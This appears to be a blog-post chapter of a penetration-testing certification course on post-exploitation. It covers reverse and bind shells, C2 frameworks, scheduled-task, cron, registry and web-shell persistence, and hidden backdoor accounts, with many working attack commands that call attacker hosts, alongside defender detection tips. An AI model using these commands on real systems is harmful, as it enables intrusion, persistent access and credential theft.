Rençber AKMAN

Posted on Aug 15

Module 8: Performing Post-Exploitation Techniques

#cybersecurity #security #learning #tutorial

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
The Art of What Happens After the Shell — Persistence · Lateral Movement · Detection Avoidance · Covering Tracks

8.0 Introduction — The Philosophy of Post-Exploitation
8.1 Creating a Foothold and Maintaining Persistence After Compromising a System
8.2 Understanding Lateral Movement, Detection Avoidance, and Enumeration
8.3 Module 8 Summary

8.0 Introduction — The Philosophy of Post-Exploitation

Why Post-Exploitation Is the Most Misunderstood Phase

Most people imagine hacking as a single dramatic moment: the exploit fires, the shell appears, access is gained. Cut to black. Credits roll. The reality of professional penetration testing — and the reality of how actual threat actors operate — is that this moment is not the climax. It is the beginning.

The initial compromise is just a key turning in a lock. What matters is what happens next: how far can an attacker go? Which systems can be reached from this foothold? What data is accessible? How long can access be maintained before detection? What would it cost the organization if a real adversary did this?

These questions are what the post-exploitation phase answers. And for a penetration tester working inside an authorized engagement — as Protego Security Solutions is doing for Pixel Paradise — the post-exploitation phase serves a specific and critical purpose: it converts a discovered vulnerability from an abstract risk into a demonstrated business impact.

"We found a vulnerability" is worth something. "We found a vulnerability, exploited it, maintained undetected access for 72 hours, pivoted to three additional internal systems, and accessed a database containing 2.4 million customer payment records" is worth a completely different conversation with the board.

The Ethical Boundary That Defines This Phase

Post-exploitation in an authorized penetration test operates under a critical constraint that separates it from malicious activity: you demonstrate capability without causing harm.

An authorized post-exploitation tester:

Enters systems to prove access is possible — then documents and exits
Accesses data structures to prove data could be exfiltrated — without actually exfiltrating real sensitive data
Establishes persistence mechanisms to prove they work — then removes them completely at engagement end
Moves laterally to demonstrate attack paths — but does not disrupt production systems
Measures how long the security team takes to detect activity — and uses this to inform defensive recommendations

Everything done in post-exploitation must be reversible, documented, and disclosed in the final report. Every backdoor installed must be removed. Every account created must be deleted. Every log entry must be accounted for. The penetration tester who leaves post-exploitation artifacts in a client's environment after engagement completion has committed an ethical violation regardless of the quality of their technical work.

The MITRE ATT&CK Framework — The Map of Post-Exploitation

MITRE ATT&CK is the definitive knowledge base of adversary tactics and techniques based on real-world observations. Every technique in Module 8 maps to specific ATT&CK tactics. Understanding this framework contextualizes why each technique exists and how defenders detect it.

The post-exploitation tactics in ATT&CK:

Tactic	What It Addresses
Execution	How attackers run code on a compromised system
Persistence	How attackers maintain access through reboots, password changes, or incident response
Privilege Escalation	How attackers gain higher permissions than initially obtained
Defense Evasion	How attackers avoid detection by security tools and monitoring
Credential Access	How attackers steal credentials for lateral movement
Discovery	How attackers learn the environment from the inside
Lateral Movement	How attackers move from one system to another
Collection	How attackers gather data of interest
Command and Control	How attackers communicate with compromised systems
Exfiltration	How attackers transfer collected data out of the network
Impact	How attackers cause damage (ransomware, data destruction)

Each section of Module 8 addresses one or more of these tactics in technical depth.

8.1 Creating a Foothold and Maintaining Persistence After Compromising a System

8.1.1 Overview — What Persistence Really Means

The Problem That Persistence Solves

When an attacker exploits a vulnerability and gains a shell, that access is typically fragile. The shell exists as long as the network connection exists, as long as the exploited process remains running, as long as no one reboots the machine, as long as no antivirus update kills the process. The first moment any of these conditions change — the connection drops, the server reboots for a patch cycle, the security team terminates a suspicious process — the access is gone.

An attacker who relies only on their initial exploitation vector must re-exploit the vulnerability every time they want access. This is noisy (the vulnerability must be triggered again), risky (re-exploitation may be detected), and impractical for long-term operations.

Persistence solves this by establishing alternative, independent, redundant means of re-entering the compromised system. Persistence mechanisms survive:

System reboots (by hooking into startup sequences)
Log reviews (by hiding themselves in legitimate-looking locations)
Credential changes (by using mechanisms that do not depend on user passwords)
Initial vector patching (because they are now independent of the original vulnerability)
Single process death (because multiple independent persistence mechanisms exist)

The analogy: breaking a window to enter a house is the initial exploit. Installing a hidden duplicate key under the doormat, changing a basement window lock to one you control, and befriending the neighbor to get a key copy is persistence. Even after the original broken window is repaired, access remains.

The Three Properties of Effective Persistence

Stealth: The persistence mechanism must not be visible to the system owner during normal operations. A new service named c2_backdoor in the service list is not stealthy. A service named WmiPrvSE that mirrors a legitimate Windows service name — that is stealth through imitation.

Resilience: The persistence mechanism should survive defensive responses short of complete system reimaging. Multiple independent persistence mechanisms (scheduled task + registry entry + new local admin account) ensure that removing one does not eliminate all access.

Minimal footprint: Every file written to disk is an artifact that forensics can find. Every network connection is an event that SIEM can log. Effective persistence minimizes what it leaves behind, using existing system capabilities rather than writing new tools.

8.1.2 Reverse and Bind Shells — The Two Directions of Control

What a Shell Is at the Fundamental Level

A shell is the interface between a human and an operating system's command line. When you type commands in a terminal, you are interacting with a shell — bash on Linux, PowerShell or cmd.exe on Windows. A remote shell extends this concept across a network connection: a shell running on one machine whose input and output are transmitted to and from another machine over the network.

For an attacker, obtaining a remote shell on a compromised machine means having the ability to execute any command on that machine that the process's user can execute. A shell running as www-data (the Apache web server user on Ubuntu) allows everything that user can do. A shell running as SYSTEM or root allows everything — reading any file, installing any software, creating any user, modifying any configuration.

The direction of the network connection determines whether it is a bind shell or a reverse shell.

Bind Shell — The Target Listens

In a bind shell, the compromised machine opens a port and listens for incoming connections. The attacker connects TO the target.

Network flow:
ATTACKER ──────────── TCP:4444 ────────────→ TARGET
(initiates connection)              (listening, waiting)

Target's perspective: "I am listening on port 4444. 
Anyone who connects gets a shell."

Attacker's perspective: "I connect to port 4444 on the target 
and I get a shell prompt."

Creating a bind shell with netcat:

# On the TARGET machine — open a bind shell:
nc -lvnp 4444 -e /bin/bash   # Linux
nc -lvnp 4444 -e cmd.exe     # Windows

# On the ATTACKER machine — connect to it:
nc target_ip 4444
# Now you have a bash/cmd shell on the target

The critical limitation of bind shells:

If the target machine is behind a firewall that blocks inbound connections (which every properly secured machine is), the attacker cannot connect to the listening port. The bind shell is theoretically established but practically inaccessible. This is why bind shells are largely obsolete in professional penetration testing against real enterprise targets — they require inbound ports to be reachable.

However, bind shells remain relevant for:

Lateral movement to internal machines where the attacker already has network access
Environments where the compromised machine has a public IP with open ports
Specific scenarios where the attacker controls network path to the target

Reverse Shell — The Target Connects Back

In a reverse shell, the compromised machine initiates the connection back to the attacker's machine. The attacker listens for incoming connections. The target is the connector, not the listener.

Network flow:
ATTACKER ←─────────── TCP:4444 ─────────── TARGET
(listening, waiting)         (initiates connection)

Target's perspective: "I will connect back to attacker_ip:4444 
and give the remote party a shell."

Attacker's perspective: "I wait for connections on port 4444. 
When the target connects, I have a shell."

Why reverse shells bypass firewalls:

Modern firewalls use stateful packet inspection. They track the state of network connections — specifically, they allow outbound connections initiated from inside the network and allow the return traffic for those connections back in.

When the compromised machine inside the corporate network connects outbound to the attacker's server on port 443 (HTTPS), the firewall sees: "outbound HTTPS connection from internal machine — this looks like normal web browsing." The firewall allows this. The attacker's server receives the connection and a reverse shell is established. The firewall never blocked it because the target (inside the perimeter) initiated the connection.

This is why reverse shells on port 443 or port 80 are extraordinarily effective: they blend into normal outbound web traffic.

Creating a reverse shell — multiple methods:

# ATTACKER MACHINE — set up listener first:
nc -lvnp 4444

# Then on the TARGET MACHINE, one of these:

# Bash reverse shell (Linux):
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Bash alternative:
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# Python reverse shell (Linux/Windows):
python3 -c "import socket,subprocess,os; s=socket.socket(); s.connect(('ATTACKER_IP',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])"

# PHP reverse shell (web server compromise):
php -r '$sock=fsockopen("ATTACKER_IP",4444); exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl reverse shell:
perl -e 'use Socket; $i="ATTACKER_IP"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'

# PowerShell reverse shell (Windows):
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Upgrading a Basic Shell to a Fully Interactive TTY

A raw netcat shell is limited — no tab completion, no arrow keys for history, signals like Ctrl+C kill the connection instead of the running command, many commands do not work properly without a proper TTY. Upgrading to a fully interactive TTY is essential for professional post-exploitation work.

# Method 1 — Python PTY spawn (most reliable on Linux):
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Then press Ctrl+Z to background the shell
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
export SHELL=bash

# Now you have full TTY: tab completion, arrow keys, job control

# Method 2 — socat (cleaner, more functional):
# On attacker: 
socat file:`tty`,raw,echo=0 tcp-listen:4444

# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

# Method 3 — rlwrap (quick enhancement for netcat):
rlwrap nc -lvnp 4444

The Defender's Perspective on Shells

A bind shell listening on a non-standard port will appear in:

netstat -tulpn output on the target
Network monitoring showing an open inbound port
Process list showing nc or bash or unusual processes listening

A reverse shell connecting outbound will appear in:

Outbound connection logs (especially if connecting to unexpected external IPs)
SIEM alerts for connections to known C2 infrastructure
EDR tools detecting process behavior (bash process making network connections)
DNS logs showing resolution of unusual domains

The attacker's countermeasure: use ports 80 and 443, use domains that look legitimate, encrypt the traffic (so network inspection cannot see shell commands in the payload), and use protocols that blend into normal traffic.

8.1.3 Practice — Reverse and Bind Shells

Lab Setup for Shell Practice

The following practice scenarios should be conducted in a controlled lab environment using Kali Linux (attacker) and Metasploitable or a DVWA/vulnerable VM (target):

Scenario 1 — Netcat reverse shell via command injection:

# Step 1: Find a command injection vulnerability on DVWA (covered in Module 6.4)
# Step 2: Inject a reverse shell payload:
# In DVWA's ping field: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/KALI_IP/4444 0>&1'

# Step 3: Before triggering, set up listener on Kali:
nc -lvnp 4444

# Step 4: Trigger the injection. Shell arrives in listener.

# Step 5: Upgrade to TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm

Scenario 2 — Meterpreter reverse shell via Metasploit:

# Generate a Windows reverse shell executable:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=KALI_IP LPORT=4444 \
  -f exe -o malicious.exe

# Set up multi/handler listener in Metasploit:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KALI_IP
set LPORT 4444
run

# When victim executes malicious.exe: Meterpreter session opens
# Meterpreter provides: file operations, screenshot, keylogger, 
# privilege escalation, credential dumping, and much more

8.1.4 Command and Control (C2) — The Attacker's Nervous System

What C2 Is and Why It Matters

A Command and Control (C2) framework is a post-exploitation infrastructure that allows an attacker to manage multiple compromised systems, send commands, receive outputs, and coordinate complex multi-stage attacks — all from a centralized management interface.

The difference between a raw netcat shell and a C2 framework is the difference between a walkie-talkie and a military communications network. The walkie-talkie works for one conversation at a time. The military network handles thousands of simultaneous encrypted communications, routes intelligently, survives individual link failures, and provides operational awareness across the entire theater.

A C2 framework provides:

Centralized management of dozens to hundreds of compromised machines (called "agents," "beacons," "implants," or "zombies")
Encrypted, obfuscated communications that blend into legitimate traffic
Persistent agents that reconnect automatically if the connection drops
Module ecosystem for post-exploitation tasks (privilege escalation, credential dumping, lateral movement, keylogging, screenshot capture, file exfiltration)
Team collaboration — multiple operators working the same infrastructure
Operational security — routing through redirectors, domain fronting, malleable profiles

The C2 Communication Loop

Every C2 framework implements the same fundamental loop:

1. IMPLANT (on victim machine) checks in with C2 server periodically
   ↓
2. C2 SERVER receives check-in, queues any pending commands
   ↓
3. IMPLANT retrieves queued commands
   ↓
4. IMPLANT executes commands on the victim machine
   ↓
5. IMPLANT sends results back to C2 server
   ↓
6. OPERATOR sees results in C2 management console
   ↓
7. OPERATOR queues next commands
   ↓
   (loop repeats at configured sleep interval)

The sleep interval is the time the implant waits between check-ins. A sleep interval of 60 seconds means the implant contacts the C2 server every minute. This creates a balance:

Short sleep interval (5-10 seconds): More responsive, faster commands — but more network traffic, easier to detect
Long sleep interval (1-24 hours): Stealthier, less network traffic — but commands take longer to execute, harder to use for real-time operations

Sophisticated C2 frameworks add jitter — random variation in the sleep interval. Instead of exactly 60 seconds every time, the beacon might sleep 45-75 seconds (60 ± 25%). This prevents security tools from detecting the predictable heartbeat pattern of regular beacon traffic.

C2 Communication Channels — Beyond Simple TCP

Modern C2 frameworks use a variety of communication channels specifically chosen to blend into the network traffic that security controls allow:

HTTPS (Port 443): The most common C2 channel. Traffic appears as normal HTTPS web requests. Can be configured to mimic specific websites (Amazon, Google, Microsoft). TLS encryption prevents network inspection of the actual commands.

DNS: Every DNS query sent from a network is a potential data channel. DNS C2 works by encoding commands in DNS query subdomains and encoding responses in DNS TXT records. The traffic looks like normal DNS lookups to the network observer. DNS C2 is extremely resilient because DNS traffic almost never gets blocked completely.

# DNS C2 concept:
# Command from C2 to implant — encoded in DNS response:
# Implant queries: status.3f7a2b.c2domain.com
# C2 server returns TXT: "aWQgJiYgd2hvYW1p" (base64 of "id && whoami")

# Result from implant to C2 — encoded in DNS query subdomains:
# "uid=0(root)" → base64 → split into chunks → subdomains:
# dWlkP.TAocm9vd.Ckg.c2domain.com

ICMP: Encoding commands in ICMP echo request/reply payloads. Looks like ping traffic. Often passes through firewalls that block other protocols.

HTTP with malleable profiles: Cobalt Strike's Malleable C2 profiles allow customizing every aspect of HTTP C2 traffic — the URL paths, the HTTP headers, the User-Agent strings, the response formats — to mimic specific legitimate applications. A beacon configured with an Amazon S3 profile sends traffic that looks exactly like an application reading from Amazon S3.

SMB: C2 over SMB named pipes. Used for internal lateral movement where internet access is not available — an external C2 channel reaches one machine, which then uses SMB to communicate with other internal machines that cannot reach the internet.

Slack, Discord, Twitter (Social Media C2): Implants check in by posting/reading messages to social media or collaboration platforms. Network security tools rarely block Slack or Twitter completely because legitimate employees use them. This is described directly in the course material.

8.1.5 Types of C2 Frameworks — Architecture, Evasion, and Trade-offs

Metasploit + Meterpreter

Metasploit is the foundational C2 platform, covered extensively throughout this course. Meterpreter is Metasploit's advanced payload that provides a sophisticated post-exploitation agent.

Meterpreter's key capabilities:

# System information:
meterpreter > sysinfo
meterpreter > getuid           # Current user context
meterpreter > getpid           # Process ID of Meterpreter process
meterpreter > ps               # Full process list

# Privilege escalation:
meterpreter > getsystem        # Attempt automatic privilege escalation
meterpreter > getprivs         # List current privileges

# Credential access:
meterpreter > load kiwi                    # Load Mimikatz module
meterpreter > creds_all                    # Dump all credentials
meterpreter > lsa_dump_sam                 # Dump SAM hashes
meterpreter > lsa_dump_secrets             # Dump LSA secrets
meterpreter > wifi_list                    # List saved WiFi passwords

# Lateral movement:
meterpreter > portfwd add -l 4444 -r internal_target -p 22  # Port forward
meterpreter > run post/multi/manage/shell_to_meterpreter     # Upgrade shell
meterpreter > route add 10.0.0.0/8 SESSION_ID                # Add route

# Persistence:
meterpreter > run post/windows/manage/persistence_exe        # Registry persistence
meterpreter > run post/linux/manage/sshkey_persistence       # SSH key persistence

# Evidence collection:
meterpreter > screenshot                   # Capture desktop screenshot
meterpreter > keyscan_start                # Start keylogger
meterpreter > keyscan_dump                 # Dump captured keystrokes
meterpreter > webcam_snap                  # Capture webcam image
meterpreter > record_mic                   # Record microphone

# File operations:
meterpreter > download /etc/passwd /tmp/   # Download files
meterpreter > upload shell.php /var/www/  # Upload files
meterpreter > search -f *.xlsx             # Search for files

# Detection evasion:
meterpreter > migrate <PID>                # Migrate to another process
meterpreter > clearev                      # Clear event logs

Meterpreter's architecture — why it evades AV:

Meterpreter loads entirely in memory. No executable is written to disk. The payload is injected into a running process and executes within that process's memory space. Traditional antivirus that scans files on disk will not find it — there is no file to scan. This is why migrate is important: migrating to a legitimate process like explorer.exe or svchost.exe means Meterpreter's network activity appears to come from those processes.

Cobalt Strike

Cobalt Strike is the commercial gold standard for red team operations. It is priced at approximately $5,900/year and is sold only to vetted security professionals. However, cracked versions have been widely used by ransomware gangs and APT groups — making Cobalt Strike artifacts a major focus of enterprise threat detection.

The key concept is the Beacon — Cobalt Strike's agent. Beacons check in periodically (configurable sleep + jitter), communicate over HTTP/S/DNS/SMB, and can be customized with Malleable C2 profiles to look exactly like any desired legitimate application's traffic.

Cobalt Strike's Malleable C2 profile concept:

# A Malleable C2 profile specifying Amazon S3 traffic mimicry:
http-get {
    set uri "/s3/?list-type=2&prefix=data/";

    client {
        header "User-Agent" "aws-sdk-java/1.11.1";
        header "Host" "s3.amazonaws.com";

        metadata {
            base64url;
            prepend "AWSAccessKeyId=";
            header "Authorization";
        }
    }

    server {
        header "Content-Type" "application/xml";

        output {
            base64;
            prepend "<?xml version=\"1.0\"?><ListBucketResult><Name>data</Name>";
            append "</ListBucketResult>";
            print;
        }
    }
}

This makes every beacon check-in look like an AWS S3 API call. Network analysts see: HTTPS GET to s3.amazonaws.com with AWS authorization header — which looks entirely legitimate.

Sliver (Open Source Alternative)

Sliver by BishopFox is a full-featured, actively maintained open-source C2 framework designed as a Cobalt Strike alternative. It supports HTTP/S, DNS, WireGuard, and mTLS communication channels, and includes all the capabilities expected in professional red team operations.

# Sliver server setup:
sliver-server

# Generate an implant:
sliver > generate --http https://c2.domain.com --os windows --arch amd64 --save /tmp/implant.exe

# When implant connects:
sliver > sessions
sliver > use SESSION_ID

# Post-exploitation in Sliver:
sliver (implant) > info
sliver (implant) > whoami
sliver (implant) > ps
sliver (implant) > execute-assembly SharpHound.exe   # .NET assembly in memory
sliver (implant) > sideload Mimikatz.dll              # DLL sideload
sliver (implant) > portfwd add -r 10.0.0.1:3389 -l 33389  # Port forward

Havoc Framework

Havoc is a modern, advanced C2 framework with a web-based team server interface. Notable for its demon agent's sleep obfuscation — the implant encrypts itself in memory when sleeping, defeating memory scanners that look for known shellcode patterns.

Empire / PowerShell Empire

PowerShell Empire was one of the most significant post-exploitation frameworks in history — a PowerShell-based C2 that operated entirely within PowerShell's memory without touching disk. PowerShell is a trusted Microsoft utility, so Empire's activity appeared as legitimate PowerShell usage rather than obvious malware.

Although Empire's original development ended, BC-Security maintains an active fork (Empire 4.x) and it remains relevant for:

PowerShell-based post-exploitation (Module-based architecture)
Understanding how PowerShell abuse works for defenders
Historical context for APT techniques heavily documented in threat intelligence

8.1.6 Scheduled Jobs and Tasks — Persistence Through Automation

The Core Concept

Every operating system provides mechanisms to execute commands at defined times or triggered by specific events — Windows Task Scheduler and Cron on Linux. These mechanisms are designed for legitimate automation (nightly backups, hourly log rotation, weekly updates) but are equally capable of executing attacker-controlled payloads persistently.

The advantage of scheduled task/job persistence:

Built into the OS — no new software installed
Survives reboots — scheduled tasks run at boot time, at login, or on calendar
Blends with legitimate automation — a system with 50 scheduled tasks attracts less attention than a system with 1 new unusual task
Does not require an active network connection to survive — even if C2 is disconnected, the task remains
Can be used to re-establish C2 — the task runs a payload that reconnects to C2

Windows — Task Scheduler

The Windows Task Scheduler runs as the Task Scheduler service (schtasks.exe CLI or taskschd.msc GUI). Tasks can be triggered by time, user login, system event, or system idle. Tasks can run as any user — including SYSTEM.

# Create a scheduled task for persistence — runs at system startup:
schtasks /Create /SC ONSTART /TN "WindowsDefenderUpdate" /TR "C:\Windows\Temp\beacon.exe" /RU SYSTEM /F

# Create a task that runs every 5 minutes:
schtasks /Create /SC MINUTE /MO 5 /TN "NetworkMonitor" /TR "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://c2.domain/payload')" /F

# Create a task triggered at user logon (runs in user context):
schtasks /Create /SC ONLOGON /TN "UserProfile" /TR "C:\Users\victim\AppData\Local\Temp\update.exe" /F

# View all scheduled tasks:
schtasks /Query /FO LIST /V

# Delete a task (cleanup at end of engagement):
schtasks /Delete /TN "WindowsDefenderUpdate" /F

# Enumerate tasks using PowerShell (stealthier):
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} | Select-Object TaskName, TaskPath, State

Blending in — task naming conventions:

The most obvious detection indicator for a malicious scheduled task is an unusual name. Security teams look for tasks with:

Random character strings in names
Names that do not match expected software
Tasks in unusual locations (root \ path rather than \Microsoft\Windows\)
Tasks pointing to executables in %TEMP%, %APPDATA%, or other non-standard locations

A properly disguised malicious task uses:

Names from legitimate software update processes: "AdobeUpdateTask", "ChromeUpdateTask", "WindowsDefenderScan"
Task paths that mirror legitimate Microsoft task structures
Executables with names matching legitimate software

Event-triggered persistence — more stealthy:

Rather than running on a timer (which creates predictable network traffic), tasks can be triggered by specific Windows Event Log events:

# Task that fires when a specific user logs in:
$trigger = New-ScheduledTaskTrigger -AtLogon -User "Administrator"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EP Bypass -W Hidden -C IEX(...)"
Register-ScheduledTask -TaskName "OnLogin" -Trigger $trigger -Action $action -RunLevel Highest -Force

# Task that fires when the system is unlocked:
$trigger = New-ScheduledTaskTrigger -AtLogon  # Can be filtered to unlock events in XML

Linux — Cron and Crontab

Linux uses cron for scheduled task automation. The cron daemon reads crontab files at system directories and user-specific locations.

# Crontab syntax:
# minute hour day-of-month month day-of-week command
# * = any, */5 = every 5, 1,3,5 = specific values

# View current user's crontab:
crontab -l

# Edit current user's crontab:
crontab -e

# Malicious crontab entry — runs beacon every 5 minutes:
*/5 * * * * /tmp/.hidden/beacon >/dev/null 2>&1

# Crontab entry that runs at reboot:
@reboot /tmp/.hidden/beacon >/dev/null 2>&1

# System-wide crontab locations (require root):
/etc/crontab                 # System crontab
/etc/cron.d/                 # Drop-in cron files
/etc/cron.daily/             # Daily execution
/etc/cron.hourly/            # Hourly execution
/etc/cron.weekly/            # Weekly execution
/etc/cron.monthly/           # Monthly execution

# Root-level persistence via system crontab:
echo "*/5 * * * * root /tmp/.hidden/beacon >/dev/null 2>&1" >> /etc/crontab

# View all crontabs (root required for others):
cat /etc/crontab
ls -la /etc/cron.d/
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

Blending cron persistence:

Legitimate cron entries should be examined to understand the naming conventions and execution patterns of the target system. Malicious cron entries that reference system-like paths (/usr/lib/, /etc/NetworkManager/) and use realistic command names blend better than obvious entries.

Linux — Systemd Service Persistence

Systemd is the modern initialization system on most Linux distributions. Attackers with root access can install a malicious service that starts automatically:

# Create a malicious systemd service:
cat > /etc/systemd/system/networking-monitor.service << 'EOF'
[Unit]
Description=Network Monitoring Service
After=network.target

[Service]
Type=forking
ExecStart=/usr/lib/network/netmon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

# Enable and start the service:
systemctl enable networking-monitor.service
systemctl start networking-monitor.service

# The service now starts automatically on every boot
# Named "networking-monitor" — looks legitimate
# The actual binary /usr/lib/network/netmon is the payload

8.1.7 Custom Daemons, Processes, and Additional Backdoors

Web Shells — Persistent Access Through Web Applications

A web shell is a script uploaded to a web server that provides command execution through HTTP requests. It is one of the most commonly deployed persistence mechanisms because:

No network port needs to be opened — it uses the existing web server port (80/443)
Survives reboots (the file persists on disk)
Bypasses firewalls (traffic looks like normal web requests)
Accessible from anywhere with internet access to the server

// Minimal PHP web shell:
<?php system($_GET['cmd']); ?>
// Usage: http://target.com/shell.php?cmd=id

// More functional PHP web shell:
<?php
if(isset($_GET['cmd'])){
    echo '<pre>' . shell_exec(htmlspecialchars_decode($_GET['cmd'])) . '</pre>';
}
?>

// Password-protected web shell (harder to find during scans):
<?php
$password = "hunter2";
if(isset($_GET['p']) && $_GET['p'] === $password && isset($_GET['cmd'])){
    echo shell_exec($_GET['cmd']);
}
?>

// Encoded web shell (bypasses basic content filters):
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
// The base64 decodes to: system($_GET['cmd']);

Web shell names and locations for stealth:

A web shell named shell.php in the web root is immediately suspicious. A file named favicon.ico.php, wp-comments-post.php, config.inc.php.bak, or update_checker.php in a deep subdirectory of a WordPress installation is much harder to find without specifically looking for it.

# Tools for finding web shells on a compromised server (blue team perspective):
# Find files modified recently (detect new web shells):
find /var/www -name "*.php" -newer /etc/passwd -type f

# Find PHP files containing system(), exec(), shell_exec(), passthru():
grep -rn "system\|exec\|shell_exec\|passthru\|eval\|base64_decode" /var/www/ \
  --include="*.php" | grep -v "#"

# Use YARA rules to scan for web shell patterns:
yara /path/to/webshell_rules.yar /var/www/

# Tool: webshells scanner
python3 webshell_detector.py /var/www/html

SSH Authorized Keys — Backdoor Through PKI

If an attacker has root access on a Linux system, they can add an SSH public key to any user's authorized_keys file, granting themselves persistent SSH access with that key — regardless of what happens to passwords:

# Generate an SSH key pair on the attacker machine:
ssh-keygen -t ed25519 -C "attacker" -f /tmp/backdoor_key
# Creates: backdoor_key (private) and backdoor_key.pub (public)

# On the compromised system — add to root's authorized keys:
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3... attacker" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# The attacker can now SSH as root forever:
ssh -i /tmp/backdoor_key root@target_ip

# More stealthy — add to a regular user's authorized_keys,
# then use sudo for privilege escalation:
echo "ssh-ed25519 AAAAC3... attacker" >> /home/webadmin/.ssh/authorized_keys

# Defender detection:
# Check for unauthorized keys:
find /home /root -name "authorized_keys" -exec cat {} \;
# Compare against known baseline of authorized keys
# Any key not in the baseline is unauthorized

Registry-Based Backdoors (Windows)

Windows Registry is heavily used for persistence. Many registry keys are read at boot, at login, or continuously by the system and can be used to execute attacker code:

# Run key — executes on every user login:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f

# RunOnce key — executes once then deletes itself:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "C:\Temp\setup.exe" /f

# HKLM Run key (requires admin — applies to all users):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f

# Service registry key — creates persistent service:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WindowsNetHelper" /v "ImagePath" /t REG_SZ /d "C:\Windows\Temp\service_beacon.exe"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WindowsNetHelper" /v "Start" /t REG_DWORD /d 2

# Winlogon — executes as SYSTEM during login:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\Temp\beacon.exe," /f

# Image File Execution Options — hijacks execution of legitimate programs:
# Every time "calc.exe" is run, runs beacon.exe instead:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\Temp\beacon.exe"

PowerShell profile persistence:

PowerShell profiles are scripts that execute every time PowerShell starts — for any user with the profile, on any PowerShell session:

# Find current PowerShell profile location:
$PROFILE

# Add malicious code to PowerShell profile:
Add-Content -Path $PROFILE -Value "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"

# This executes the C2 download every time PowerShell opens for this user
# Defender detection: monitor $PROFILE modification, unusual content in profile files

8.1.8 New Users — Persistence Through Identity

Why Creating Accounts Is Powerful Persistence

Creating a new user account is one of the highest-impact persistence mechanisms because:

Independence from the original exploit: The new account works regardless of whether the original vulnerability is patched
Authentication-based access: Login through legitimate channels (SSH, RDP, VPN) using the backdoor account appears as normal user authentication
Logging in legitimate logs: A backdoor account login creates entries in authentication logs, but those entries look like ordinary user logins rather than exploit attempts
Survives all countermeasures except account auditing: Patch the vulnerability, rotate passwords, update antivirus — the backdoor account persists through all of this

Windows — Creating Hidden Admin Accounts

# Create a new local administrator account:
net user BackdoorAdmin P@ssw0rd123! /add
net localgroup Administrators BackdoorAdmin /add

# Make the account less visible (remove from login screen on Windows):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v BackdoorAdmin /t REG_DWORD /d 0

# More stealthy — dollar sign suffix hides account from net user output:
net user backdoor$ P@ssw0rd123! /add
net localgroup Administrators backdoor$ /add

# PowerShell equivalent:
New-LocalUser "SupportAccount" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "SupportAccount"

# Hidden admin via cloning admin account SID (advanced):
# Uses wce.exe or Mimikatz to clone SID from Administrator
# Result: new account with effectively invisible Admin privileges

Linux — Creating Backdoor Users

# Create a new user (requires root):
useradd -m -s /bin/bash backupuser
echo "backupuser:P@ssw0rd123!" | chpasswd

# Add to sudo group:
usermod -aG sudo backupuser

# More stealthy — use a system-like username:
useradd -m -s /bin/bash daemon2
useradd -m -s /bin/bash syslog2

# Even more hidden — use UID 0 (root-level access with different name):
useradd -o -u 0 -g 0 -s /bin/bash -d /root ghost
echo "ghost:P@ssw0rd123!" | chpasswd

# This creates a user "ghost" with UID 0 — effectively another root account
# Hidden from normal "id" checks because it shows as root

# Check for UID 0 accounts (defender detection):
awk -F: '($3 == "0") {print}' /etc/passwd
